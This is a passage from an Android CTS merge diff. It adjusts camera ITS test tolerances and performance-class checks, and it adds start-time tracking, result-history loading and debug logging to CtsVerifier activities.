Merge "Migrate PermissionGrantTest." into sc-v2-dev
diff --git a/apps/CameraITS/tests/scene0/test_solid_color_test_pattern.py b/apps/CameraITS/tests/scene0/test_solid_color_test_pattern.py
index 0c352307..5b1b74b 100644
--- a/apps/CameraITS/tests/scene0/test_solid_color_test_pattern.py
+++ b/apps/CameraITS/tests/scene0/test_solid_color_test_pattern.py
@@ -26,10 +26,16 @@
 import its_session_utils
 
 
-_BW_CH_ATOL = 6  # DN in [0,255]
-_RGB_PRIMARY_MIN = 200
-_RGB_SECONDARY_MAX = 60
-_CH_VARIANCE_ATOL = 30
+# YUV TOLs
+_BW_CH_ATOL_YUV = 6  # DN in [0,255]
+_RGB_PRIMARY_MIN_YUV = 200
+_RGB_SECONDARY_MAX_YUV = 60
+_CH_VARIANCE_ATOL_YUV = 30
+# RAW TOLs
+_BW_CH_ATOL_RAW = 1  # DN in [0,255]
+_RGB_PRIMARY_MIN_RAW = 250
+_RGB_SECONDARY_MAX_RAW = 30  # experiments show secondary after CCM applied
+_CH_VARIANCE_ATOL_RAW = 1
 _OFF = 0x00000000
 _SAT = 0xFFFFFFFF
 _NAME = os.path.basename(__file__).split('.')[0]
@@ -52,7 +58,8 @@
          'RGGB': (_OFF, _OFF, _OFF, _SAT),
          'RGB': (0, 0, 255)}
 
-_COLORS_CHECKED_RGB = (_BLACK, _WHITE, _RED, _GREEN, _BLUE)
+_COLORS_CHECKED_RAW = (_BLACK, _WHITE, _RED, _GREEN, _BLUE)
+_COLORS_CHECKED_YUV = (_BLACK,)
 _COLORS_CHECKED_MONO = (_BLACK, _WHITE)
 _COLORS_CHECKED_UPGRADE = (_BLACK,)
 _COLORS_CHECKED_BLACK = (_WHITE,)  # To make sure testPatternData is ignored
@@ -64,16 +71,29 @@
                   _BLACK_TEST_PATTERN: 'BLACK'}
 
 
-def check_solid_color(img, exp_values, color):
+def check_solid_color(img, exp_values, color, fmt):
   """Checks solid color test pattern image matches expected values.
 
   Args:
     img: capture converted to RGB image
     exp_values: list of RGB [0:1] expected values
-    color: str; color to check.
+    color: str; color to check
+    fmt: str; capture format.
   Returns:
     True if any of the checks fail.
   """
+  # Assign tolerances
+  if fmt == 'raw':
+    bw_ch_atol = _BW_CH_ATOL_RAW
+    rgb_primary_min = _RGB_PRIMARY_MIN_RAW
+    rgb_secondary_max = _RGB_SECONDARY_MAX_RAW
+    ch_variance_atol = _CH_VARIANCE_ATOL_RAW
+  else:
+    bw_ch_atol = _BW_CH_ATOL_YUV
+    rgb_primary_min = _RGB_PRIMARY_MIN_YUV
+    rgb_secondary_max = _RGB_SECONDARY_MAX_YUV
+    ch_variance_atol = _CH_VARIANCE_ATOL_YUV
+
   test_fail = False
   logging.debug('Checking %s solid test pattern w/ RGB values %s',
                 color, str(exp_values))
@@ -83,41 +103,42 @@
               image_processing_utils.compute_image_variances(img)]
   logging.debug('Captured frame variances: %s', str(rgb_vars))
   if color in ['BLACK', 'WHITE']:
-    if not np.allclose(rgb_means, exp_values, atol=_BW_CH_ATOL):
+    if not np.allclose(rgb_means, exp_values, atol=bw_ch_atol):
       logging.error('Image not expected value for color %s. '
                     'RGB means: %s, expected: %s, ATOL: %d',
-                    color, str(rgb_means), str(exp_values), _BW_CH_ATOL)
+                    color, str(rgb_means), str(exp_values), bw_ch_atol)
       test_fail = True
-    if not all(i < _CH_VARIANCE_ATOL for i in rgb_vars):
+    if not all(i < ch_variance_atol for i in rgb_vars):
       logging.error('Image has too much variance for color %s. '
                     'RGB variances: %s, ATOL: %d',
-                    color, str(rgb_vars), _CH_VARIANCE_ATOL)
+                    color, str(rgb_vars), ch_variance_atol)
       test_fail = True
   else:
     exp_values_mask = np.array(exp_values)//255
     primary = max(rgb_means*exp_values_mask)
     secondary = max((1-exp_values_mask)*rgb_means)
-    if primary < _RGB_PRIMARY_MIN:
+    if primary < rgb_primary_min:
       logging.error('Primary color %s not bright enough.'
                     'RGB means: %s, expected: %s, MIN: %d',
-                    color, str(rgb_means), str(exp_values), _RGB_PRIMARY_MIN)
+                    color, str(rgb_means), str(exp_values), rgb_primary_min)
       test_fail = True
-    if secondary > _RGB_SECONDARY_MAX:
+    if secondary > rgb_secondary_max:
       logging.error('Secondary colors too bright in %s. '
                     'RGB means: %s, expected: %s, MAX: %d',
-                    color, str(rgb_means), str(exp_values), _RGB_SECONDARY_MAX)
+                    color, str(rgb_means), str(exp_values), rgb_secondary_max)
+      test_fail = True
 
     primary_rgb_vars = max(rgb_vars*exp_values_mask)
     secondary_rgb_vars = max((1-exp_values_mask)*rgb_vars)
-    if primary_rgb_vars > _CH_VARIANCE_ATOL:
+    if primary_rgb_vars > ch_variance_atol:
       logging.error('Image primary color has too much variance for %s. '
                     'RGB variances: %s, ATOL: %d',
-                    color, str(rgb_vars), _CH_VARIANCE_ATOL)
+                    color, str(rgb_vars), ch_variance_atol)
       test_fail = True
-    elif secondary_rgb_vars > _CH_VARIANCE_ATOL:
+    elif secondary_rgb_vars > ch_variance_atol:
       logging.error('Image secondary color has too much variance for %s. '
                     'RGB variances: %s, ATOL: %d',
-                    color, str(rgb_vars), _CH_VARIANCE_ATOL)
+                    color, str(rgb_vars), ch_variance_atol)
   return test_fail
 
 
@@ -150,7 +171,10 @@
         if camera_properties_utils.mono_camera(props):
           colors_checked_solid = _COLORS_CHECKED_MONO
         else:
-          colors_checked_solid = _COLORS_CHECKED_RGB
+          if camera_properties_utils.raw16(props):
+            colors_checked_solid = _COLORS_CHECKED_RAW
+          else:
+            colors_checked_solid = _COLORS_CHECKED_YUV
       else:
         colors_checked_solid = _COLORS_CHECKED_UPGRADE
 
@@ -191,7 +215,11 @@
           req = capture_request_utils.auto_capture_request()
           req['android.sensor.testPatternMode'] = pattern
           req['android.sensor.testPatternData'] = color['RGGB']
-          fmt = {'format': 'yuv'}
+          if camera_properties_utils.raw16(props):
+            fmt = {'format': 'raw'}
+          else:
+            fmt = {'format': 'yuv'}
+          logging.debug('Using format: %s', fmt['format'])
           caps = cam.do_capture([req]*num_frames, fmt)
           cap = caps[-1]
           logging.debug('Capture metadata RGGB pattern: %s, '
@@ -208,11 +236,11 @@
 
           # Check solid pattern for correctness
           if pattern == _SOLID_COLOR_TEST_PATTERN:
-            color_test_failed = check_solid_color(img, color['RGB'],
-                                                  captured_color)
+            color_test_failed = check_solid_color(
+                img, color['RGB'], color['color'], fmt['format'])
           else:
-            color_test_failed = check_solid_color(img, _BLACK['RGB'],
-                                                  _BLACK['color'])
+            color_test_failed = check_solid_color(
+                img, _BLACK['RGB'], _BLACK['color'], fmt['format'])
 
           if color_test_failed:
             colors_failed.append(f'{captured_pattern}/{captured_color}')
diff --git a/apps/CameraITS/tests/scene2_c/test_camera_launch_perf_class.py b/apps/CameraITS/tests/scene2_c/test_camera_launch_perf_class.py
index c19b6f7a..e1ed893 100644
--- a/apps/CameraITS/tests/scene2_c/test_camera_launch_perf_class.py
+++ b/apps/CameraITS/tests/scene2_c/test_camera_launch_perf_class.py
@@ -11,7 +11,7 @@
 # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 # See the License for the specific language governing permissions and
 # limitations under the License.
-"""Verify camera startup is < 500ms for both front and back primary cameras.
+"""Verify camera startup is < 600ms for both front and back primary cameras.
 """
 
 import logging
@@ -22,15 +22,14 @@
 import its_base_test
 import its_session_utils
 
-CAMERA_LAUNCH_R_PERFORMANCE_CLASS_THRESHOLD = 600  # ms
-CAMERA_LAUNCH_S_PERFORMANCE_CLASS_THRESHOLD = 500  # ms
+CAMERA_LAUNCH_S_PERFORMANCE_CLASS_THRESHOLD = 600  # ms
 
 
 class CameraLaunchSPerfClassTest(its_base_test.ItsBaseTest):
   """Test camera launch latency for S performance class as specified in CDD.
 
   [7.5/H-1-7] MUST have camera2 startup latency (open camera to first preview
-  frame) < 500ms as measured by the CTS camera PerformanceTest under ITS
+  frame) < 600ms as measured by the CTS camera PerformanceTest under ITS
   lighting conditions (3000K) for both primary cameras.
   """
 
@@ -41,8 +40,8 @@
         device_id=self.dut.serial,
         camera_id=self.camera_id) as cam:
 
-      perf_class_level = cam.get_performance_class_level()
-      camera_properties_utils.skip_unless(perf_class_level >= 11)
+      camera_properties_utils.skip_unless(
+          cam.is_performance_class_primary_camera())
 
       # Load chart for scene.
       props = cam.get_camera_properties()
@@ -56,14 +55,9 @@
         camera_id=self.camera_id)
 
     launch_ms = cam.measure_camera_launch_ms()
-    if perf_class_level >= 12:
-      perf_class_threshold = CAMERA_LAUNCH_S_PERFORMANCE_CLASS_THRESHOLD
-    else:
-      perf_class_threshold = CAMERA_LAUNCH_R_PERFORMANCE_CLASS_THRESHOLD
-
-    if launch_ms >= perf_class_threshold:
+    if launch_ms >= CAMERA_LAUNCH_S_PERFORMANCE_CLASS_THRESHOLD:
       raise AssertionError(f'camera launch time: {launch_ms} ms, THRESH: '
-                           f'{perf_class_threshold} ms')
+                           f'{CAMERA_LAUNCH_S_PERFORMANCE_CLASS_THRESHOLD} ms')
     else:
       logging.debug('camera launch time: %.1f ms', launch_ms)
 
diff --git a/apps/CameraITS/tests/scene2_c/test_jpeg_capture_perf_class.py b/apps/CameraITS/tests/scene2_c/test_jpeg_capture_perf_class.py
index 74aefd5..ba4867b 100644
--- a/apps/CameraITS/tests/scene2_c/test_jpeg_capture_perf_class.py
+++ b/apps/CameraITS/tests/scene2_c/test_jpeg_capture_perf_class.py
@@ -22,7 +22,7 @@
 import its_base_test
 import its_session_utils
 
-JPEG_CAPTURE_PERFORMANCE_CLASS_THRESHOLD = 1000  # ms
+JPEG_CAPTURE_S_PERFORMANCE_CLASS_THRESHOLD = 1000  # ms
 
 
 class JpegCaptureSPerfClassTest(its_base_test.ItsBaseTest):
@@ -41,7 +41,7 @@
         camera_id=self.camera_id) as cam:
 
       camera_properties_utils.skip_unless(
-          cam.get_performance_class_level() >= 11)
+          cam.is_performance_class_primary_camera())
 
       # Load chart for scene.
       props = cam.get_camera_properties()
@@ -55,10 +55,10 @@
         camera_id=self.camera_id)
 
     jpeg_capture_ms = cam.measure_camera_1080p_jpeg_capture_ms()
-    if jpeg_capture_ms >= JPEG_CAPTURE_PERFORMANCE_CLASS_THRESHOLD:
+    if jpeg_capture_ms >= JPEG_CAPTURE_S_PERFORMANCE_CLASS_THRESHOLD:
       raise AssertionError(f'1080p jpeg capture time: {jpeg_capture_ms} ms, '
                            f'THRESH: '
-                           f'{JPEG_CAPTURE_PERFORMANCE_CLASS_THRESHOLD} ms')
+                           f'{JPEG_CAPTURE_S_PERFORMANCE_CLASS_THRESHOLD} ms')
     else:
       logging.debug('1080p jpeg capture time: %.1f ms', jpeg_capture_ms)
 
diff --git a/apps/CameraITS/utils/its_session_utils.py b/apps/CameraITS/utils/its_session_utils.py
index 3289b91..4c47388 100644
--- a/apps/CameraITS/utils/its_session_utils.py
+++ b/apps/CameraITS/utils/its_session_utils.py
@@ -1093,24 +1093,25 @@
                                       ' support')
     return data['strValue'] == 'true'
 
-  def get_performance_class_level(self):
+  def is_performance_class_primary_camera(self):
     """Query whether the camera device is an R or S performance class primary camera.
 
     A primary rear/front facing camera is a camera device with the lowest
     camera Id for that facing.
 
     Returns:
-      Performance class level in integer. R: 11. S: 12.
+      Boolean
     """
     cmd = {}
-    cmd['cmdName'] = 'getPerformanceClassLevel'
+    cmd['cmdName'] = 'isPerformanceClassPrimaryCamera'
     cmd['cameraId'] = self._camera_id
     self.sock.send(json.dumps(cmd).encode() + '\n'.encode())
 
     data, _ = self.__read_response_from_socket()
-    if data['tag'] != 'performanceClassLevel':
-      raise error_util.CameraItsError('Failed to query performance class level')
-    return int(data['strValue'])
+    if data['tag'] != 'performanceClassPrimaryCamera':
+      raise error_util.CameraItsError('Failed to query performance class '
+                                      'primary camera')
+    return data['strValue'] == 'true'
 
   def measure_camera_launch_ms(self):
     """Measure camera launch latency in millisecond, from open to first frame.
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/AbstractTestListActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/AbstractTestListActivity.java
index 99df613..ab02210 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/AbstractTestListActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/AbstractTestListActivity.java
@@ -16,7 +16,6 @@
 
 package com.android.cts.verifier;
 
-import com.android.cts.verifier.TestListAdapter.TestListItem;
 import android.app.ListActivity;
 import android.content.Intent;
 import android.content.res.Configuration;
@@ -27,6 +26,8 @@
 import android.view.Window;
 import android.widget.ListView;
 
+import com.android.cts.verifier.TestListAdapter.TestListItem;
+
 /** {@link ListActivity} that displays a list of manual tests. */
 public abstract class AbstractTestListActivity extends ListActivity {
     private static final int LAUNCH_TEST_REQUEST_CODE = 9001;
@@ -54,6 +55,8 @@
 
     private Intent getIntent(int position) {
         TestListItem item = mAdapter.getItem(position);
+        Intent intent = item.intent;
+        intent.putExtra(TestResult.TEST_START_TIME, mStartTime);
         return item.intent;
     }
 
@@ -86,6 +89,11 @@
     }
 
     protected void handleLaunchTestResult(int resultCode, Intent data) {
+        // The mStartTime can be the initial 0 if this Activity has been recreated.
+        if (mStartTime == 0 && data.hasExtra(TestResult.TEST_START_TIME)) {
+            mStartTime = data.getLongExtra(TestResult.TEST_START_TIME, 0);
+        }
+
         if (resultCode == RESULT_OK) {
             // If subtest didn't set end time, set current time
             if (mEndTime == 0) {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/CtsVerifierReportLog.java b/apps/CtsVerifier/src/com/android/cts/verifier/CtsVerifierReportLog.java
index 4da2ad6..b013bb7 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/CtsVerifierReportLog.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/CtsVerifierReportLog.java
@@ -62,7 +62,8 @@
                 throw new IOException("External storage is not mounted");
             } else if ((!logDirectory.exists() && !logDirectory.mkdirs())
                     || (logDirectory.exists() && !logDirectory.isDirectory())) {
-                throw new IOException("Cannot create directory for device info files");
+                throw new IOException("Cannot create directory " + logDirectory
+                        + " for device info files");
             } else {
                 File jsonFile = new File(logDirectory, mReportLogName + ".reportlog.json");
                 mStore = new ReportLogDeviceInfoStore(jsonFile, mStreamName);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/ManifestTestListAdapter.java b/apps/CtsVerifier/src/com/android/cts/verifier/ManifestTestListAdapter.java
index eaeb5f3..825cc98 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/ManifestTestListAdapter.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/ManifestTestListAdapter.java
@@ -181,16 +181,19 @@
 
     @Override
     protected List<TestListItem> getRows() {
+        List<TestListItem> allRows = new ArrayList<TestListItem>();
+
         // When launching at the first time or after killing the process, needs to fetch the
         // test items of all display modes as the bases for switching.
-        if (!sInitialLaunch) {
-            return getRowsWithDisplayMode(sCurrentDisplayMode);
+        if (mDisplayModesTests.isEmpty()) {
+            for (DisplayMode mode : DisplayMode.values()) {
+                allRows = getRowsWithDisplayMode(mode.toString());
+                mDisplayModesTests.put(mode.toString(), allRows);
+            }
         }
 
-        List<TestListItem> allRows = new ArrayList<TestListItem>();
-        for (DisplayMode mode: DisplayMode.values()) {
-            allRows = getRowsWithDisplayMode(mode.toString());
-            mDisplayModesTests.put(mode.toString(), allRows);
+        if (!sInitialLaunch) {
+            return getRowsWithDisplayMode(sCurrentDisplayMode);
         }
         return allRows;
     }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/TestListAdapter.java b/apps/CtsVerifier/src/com/android/cts/verifier/TestListAdapter.java
index b729a2d..1ac9efa 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/TestListAdapter.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/TestListAdapter.java
@@ -43,6 +43,7 @@
 import java.util.HashMap;
 import java.util.List;
 import java.util.Map;
+import java.util.concurrent.atomic.AtomicBoolean;
 
 /**
  * {@link BaseAdapter} that handles loading, refreshing, and setting test
@@ -81,6 +82,9 @@
     /** Map from test name to {@link TestResultHistoryCollection}. */
     private final Map<String, TestResultHistoryCollection> mHistories = new HashMap<>();
 
+    /** Flag to identify whether the mHistories has been loaded. */
+    private final AtomicBoolean mHasLoadedResultHistory = new AtomicBoolean(false);
+
     private final LayoutInflater mLayoutInflater;
 
     /** Map from display mode to the list of {@link TestListItem}.
@@ -258,11 +262,10 @@
     class RefreshTestResultsTask extends AsyncTask<Void, Void, RefreshResult> {
         @Override
         protected RefreshResult doInBackground(Void... params) {
-            List<TestListItem> rows;
+            List<TestListItem> rows = getRows();
             // When initial launch, needs to fetch tests in the unfolded/folded mode
             // to be stored in mDisplayModesTests as the basis for the future switch.
             if (sInitialLaunch) {
-                getRows();
                 sInitialLaunch = false;
             }
 
@@ -287,6 +290,7 @@
             mReportLogs.putAll(result.mReportLogs);
             mHistories.clear();
             mHistories.putAll(result.mHistories);
+            mHasLoadedResultHistory.set(true);
             notifyDataSetChanged();
         }
     }
@@ -388,8 +392,29 @@
 
         @Override
         protected Void doInBackground(Void... params) {
+            if (mHasLoadedResultHistory.get()) {
+                mHistoryCollection.merge(null, mHistories.get(mTestName));
+            } else {
+                // Loads history from ContentProvider directly if it has not been loaded yet.
+                ContentResolver resolver = mContext.getContentResolver();
+
+                try (Cursor cursor = resolver.query(
+                        TestResultsProvider.getTestNameUri(mContext, mTestName),
+                        new String[] {TestResultsProvider.COLUMN_TEST_RESULT_HISTORY},
+                        null,
+                        null,
+                        null)) {
+                    if (cursor.moveToFirst()) {
+                        do {
+                            TestResultHistoryCollection historyCollection =
+                                    (TestResultHistoryCollection) deserialize(cursor.getBlob(0));
+                            mHistoryCollection.merge(null, historyCollection);
+                        } while (cursor.moveToNext());
+                    }
+                }
+            }
             TestResultsProvider.setTestResult(
-                mContext, mTestName, mResult, mDetails, mReportLog, mHistoryCollection);
+                    mContext, mTestName, mResult, mDetails, mReportLog, mHistoryCollection);
             return null;
         }
     }
@@ -431,7 +456,7 @@
     @Override
     public int getCount() {
         if (!sInitialLaunch && checkTestsFromMainView()) {
-            return mDisplayModesTests.get(sCurrentDisplayMode).size();
+            return mDisplayModesTests.getOrDefault(sCurrentDisplayMode, new ArrayList<>()).size();
         }
         return mRows.size();
     }
@@ -501,7 +526,7 @@
      * @return A count of test items.
      */
     public int getCount(String mode){
-        return mDisplayModesTests.get(mode).size();
+        return mDisplayModesTests.getOrDefault(mode, new ArrayList<>()).size();
     }
 
     /**
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/TestResult.java b/apps/CtsVerifier/src/com/android/cts/verifier/TestResult.java
index 4818484..4ca1acf 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/TestResult.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/TestResult.java
@@ -19,13 +19,12 @@
 import static com.android.cts.verifier.TestListActivity.sCurrentDisplayMode;
 import static com.android.cts.verifier.TestListAdapter.setTestNameSuffix;
 
-import com.android.compatibility.common.util.ReportLog;
-import com.android.compatibility.common.util.TestResultHistory;
-
 import android.app.Activity;
 import android.content.Intent;
 import android.util.Log;
 
+import com.android.compatibility.common.util.ReportLog;
+
 /**
  * Object representing the result of a test activity like whether it succeeded or failed.
  * Use {@link #setPassedResult(Activity, String, String)} or
@@ -40,6 +39,7 @@
     public static final int TEST_RESULT_NOT_EXECUTED = 0;
     public static final int TEST_RESULT_PASSED = 1;
     public static final int TEST_RESULT_FAILED = 2;
+    public static final String TEST_START_TIME = "start_time";
 
     private static final String TEST_NAME = "name";
     private static final String TEST_RESULT = "result";
@@ -101,7 +101,11 @@
 
     public static Intent createResult(Activity activity, int testResult, String testName,
             String testDetails, ReportLog reportLog, TestResultHistoryCollection historyCollection) {
+        Intent activityIntent = activity.getIntent();
         Intent data = new Intent(activity, activity.getClass());
+        if (activityIntent.hasExtra(TEST_START_TIME)) {
+            data.putExtra(TEST_START_TIME, activityIntent.getLongExtra(TEST_START_TIME, 0));
+        }
         addResultData(data, testResult, testName, testDetails, reportLog, historyCollection);
         return data;
     }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/TestResultsProvider.java b/apps/CtsVerifier/src/com/android/cts/verifier/TestResultsProvider.java
index c8b1a86..9071e02 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/TestResultsProvider.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/TestResultsProvider.java
@@ -33,6 +33,8 @@
 import android.net.Uri;
 import android.os.ParcelFileDescriptor;
 
+import androidx.annotation.NonNull;
+
 import com.android.compatibility.common.util.ReportLog;
 
 import java.io.ByteArrayOutputStream;
@@ -44,8 +46,6 @@
 import java.util.Arrays;
 import java.util.Comparator;
 
-import androidx.annotation.NonNull;
-
 /**
  * {@link ContentProvider} that provides read and write access to the test results.
  */
@@ -104,7 +104,16 @@
     public static Uri getTestNameUri(Context context) {
         String name = context.getClass().getName();
         name = setTestNameSuffix(sCurrentDisplayMode, name);
-        final String testName = name;
+        return getTestNameUri(context, name);
+    }
+
+    /**
+     * Gets the URI from the context and test name.
+     * @param context current context
+     * @param testName name of the test which needs to get the URI
+     * @return the URI for the test result
+     */
+    public static Uri getTestNameUri(Context context, String testName) {
         return Uri.withAppendedPath(getResultContentUri(context), testName);
     }
 
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/admin/DeviceAdminUninstallTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/admin/DeviceAdminUninstallTestActivity.java
index 5dfe1f7..e5b5710 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/admin/DeviceAdminUninstallTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/admin/DeviceAdminUninstallTestActivity.java
@@ -27,6 +27,7 @@
 import android.net.Uri;
 import android.os.Bundle;
 import android.provider.Settings;
+import android.util.Log;
 import android.view.View;
 import android.widget.Button;
 import android.widget.ImageView;
@@ -67,9 +68,13 @@
     private final BroadcastReceiver mPackageAddedListener = new BroadcastReceiver() {
         @Override
         public void onReceive(Context context, Intent intent) {
-            final Uri uri = intent.getData();
+            Log.d(TAG, "onReceive(): " + intent);
+            Uri uri = intent.getData();
             if (uri != null && ADMIN_PACKAGE_NAME.equals(uri.getSchemeSpecificPart())) {
                 onAdminPackageInstalled();
+            } else {
+                Log.d(TAG, "ignoring intent with URI " + uri + " (expecting it to be for "
+                        + ADMIN_PACKAGE_NAME + ")");
             }
         }
     };
@@ -91,6 +96,9 @@
             mAdminInstalled = isPackageInstalled(ADMIN_PACKAGE_NAME);
             mAdminActivated = mDevicePolicyManager.isAdminActive(mAdmin);
         }
+        Log.d(TAG, "onCreate(): mAdmin=" + mAdmin + ", pkg= " + ADMIN_PACKAGE_NAME
+                + ", mAdminInstalled=" + mAdminInstalled + ", mAdminRemoved=" + mAdminRemoved
+                + ", mAdminActivated=" + mAdminActivated);
         mInstallStatus = findViewById(R.id.install_admin_status);
         mInstallAdminText = findViewById(R.id.install_admin_instructions);
         if (!mAdminInstalled) {
@@ -109,6 +117,7 @@
     }
 
     private void onAdminPackageInstalled() {
+        Log.d(TAG, "onAdminPackageInstalled()");
         mAdminInstalled = true;
         updateWidgets();
         unregisterReceiver(mPackageAddedListener);
@@ -120,6 +129,7 @@
             packageInfo = getPackageManager().getPackageInfo(packageName, 0);
         } catch (PackageManager.NameNotFoundException exc) {
             // Expected.
+            Log.d(TAG, "getPackageInfo(" + packageName + ") failed: " + exc);
         }
         return packageInfo != null;
     }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsService.java b/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsService.java
index 69a63f2..63d9687 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsService.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsService.java
@@ -737,9 +737,9 @@
                     doCheckStreamCombination(cmdObj);
                 } else if ("isCameraPrivacyModeSupported".equals(cmdObj.getString("cmdName"))) {
                     doCheckCameraPrivacyModeSupport();
-                } else if ("getPerformanceClassLevel".equals(cmdObj.getString("cmdName"))) {
+                } else if ("isPerformanceClassPrimaryCamera".equals(cmdObj.getString("cmdName"))) {
                     String cameraId = cmdObj.getString("cameraId");
-                    doGetPerformanceClassLevel(cameraId);
+                    doCheckPerformanceClassPrimaryCamera(cameraId);
                 } else if ("measureCameraLaunchMs".equals(cmdObj.getString("cmdName"))) {
                     String cameraId = cmdObj.getString("cameraId");
                     doMeasureCameraLaunchMs(cameraId);
@@ -1082,9 +1082,9 @@
                 hasPrivacySupport ? "true" : "false");
     }
 
-    private void doGetPerformanceClassLevel(String cameraId) throws ItsException {
-        boolean isSPerfClass = (Build.VERSION.MEDIA_PERFORMANCE_CLASS == PERFORMANCE_CLASS_S);
-        boolean isRPerfClass = (Build.VERSION.MEDIA_PERFORMANCE_CLASS == PERFORMANCE_CLASS_R);
+    private void doCheckPerformanceClassPrimaryCamera(String cameraId) throws ItsException {
+        boolean  isPerfClass = (Build.VERSION.MEDIA_PERFORMANCE_CLASS == PERFORMANCE_CLASS_S
+                || Build.VERSION.MEDIA_PERFORMANCE_CLASS == PERFORMANCE_CLASS_R);
 
         if (mItsCameraIdList == null) {
             mItsCameraIdList = ItsUtils.getItsCompatibleCameraIds(mCameraManager);
@@ -1116,9 +1116,8 @@
             throw new ItsException("Failed to get camera characteristics", e);
         }
 
-        mSocketRunnableObj.sendResponse("performanceClassLevel",
-                (isSPerfClass && isPrimaryCamera) ? "12" :
-                ((isRPerfClass && isPrimaryCamera) ? "11" : "0"));
+        mSocketRunnableObj.sendResponse("performanceClassPrimaryCamera",
+                (isPerfClass && isPrimaryCamera) ? "true" : "false");
     }
 
     private double invokeCameraPerformanceTest(Class testClass, String testName,
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/features/FeatureUtil.java b/apps/CtsVerifier/src/com/android/cts/verifier/features/FeatureUtil.java
index 1fe4768..4b188d8 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/features/FeatureUtil.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/features/FeatureUtil.java
@@ -34,7 +34,7 @@
      * Checks whether the device supports configing (e.g. disable, enable) location
      */
     public static boolean isConfigLocationSupported(Context context) {
-        return !isWatchOrAutomotive(context);
+        return !isWatch(context);
     }
 
     /**
@@ -73,6 +73,14 @@
     }
 
     /**
+     * Checks whether the device is watch .
+     */
+    private static boolean isWatch(Context context) {
+        PackageManager pm = context.getPackageManager();
+        return pm.hasSystemFeature(PackageManager.FEATURE_WATCH);
+    }
+
+    /**
      * Checks whether the device is watch or automotive
      */
     private static boolean isWatchOrAutomotive(Context context) {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/CommandReceiverActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/CommandReceiverActivity.java
index cfaa520..627ec44 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/CommandReceiverActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/CommandReceiverActivity.java
@@ -592,6 +592,7 @@
     }
 
     private void clearAllPoliciesAndRestrictions() throws Exception {
+        Log.d(TAG, "clearAllPoliciesAndRestrictions() started");
         clearProfileOwnerRelatedPolicies();
         clearPolicyTransparencyUserRestriction(
                 PolicyTransparencyTestListActivity.MODE_DEVICE_OWNER);
@@ -630,6 +631,7 @@
 
         // Must wait until package is uninstalled to reset affiliation ids, otherwise the package
         // cannot be removed on headless system user mode (as caller must be an affiliated PO)
+        Log.d(TAG, "resetting affiliation ids");
         mDpm.setAffiliationIds(mAdmin, Collections.emptySet());
 
         removeManagedProfile();
@@ -637,6 +639,7 @@
                 EnterprisePrivacyTestDefaultAppActivity.COMPONENT_NAME,
                 PackageManager.COMPONENT_ENABLED_STATE_DEFAULT,
                 PackageManager.DONT_KILL_APP);
+        Log.d(TAG, "clearAllPoliciesAndRestrictions() finished");
     }
 
     private void clearProfileOwnerRelatedPoliciesAndRestrictions(int mode) {
@@ -645,11 +648,13 @@
     }
 
     private void clearProfileOwnerRelatedPolicies() {
+        Log.d(TAG, "clearProfileOwnerRelatedPolicies() started");
         mDpm.setKeyguardDisabledFeatures(mAdmin, 0);
         mDpm.setPasswordQuality(mAdmin, 0);
         mDpm.setMaximumTimeToLock(mAdmin, 0);
         mDpm.setPermittedAccessibilityServices(mAdmin, null);
         mDpm.setPermittedInputMethods(mAdmin, null);
+        Log.d(TAG, "clearProfileOwnerRelatedPolicies() finished");
     }
 
     private void clearPolicyTransparencyUserRestriction(int mode) {
@@ -660,7 +665,8 @@
     }
 
     private void removeManagedProfile() {
-        for (final UserHandle userHandle : mUm.getUserProfiles()) {
+        for (UserHandle userHandle : mUm.getUserProfiles()) {
+            Log.d(TAG, "removing managed profile for " + userHandle);
             mDpm.removeUser(mAdmin, userHandle);
         }
     }
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/RemoteEventQuerier.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/RemoteEventQuerier.java
index 93e911e..b6d10c0 100644
--- a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/RemoteEventQuerier.java
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/RemoteEventQuerier.java
@@ -36,7 +36,7 @@
 import com.android.bedstead.nene.TestApis;
 import com.android.bedstead.nene.packages.Package;
 import com.android.bedstead.nene.permissions.PermissionContext;
-import com.android.bedstead.nene.users.User;
+import com.android.bedstead.nene.users.UserReference;
 
 import java.time.Duration;
 import java.time.Instant;
@@ -191,14 +191,15 @@
                 throw new IllegalStateException("Interrupted while binding to service", e);
             }
         } else {
-            User user = (mEventLogsQuery.getUserHandle() == null)
-                    ? TestApis.users().instrumented().resolve()
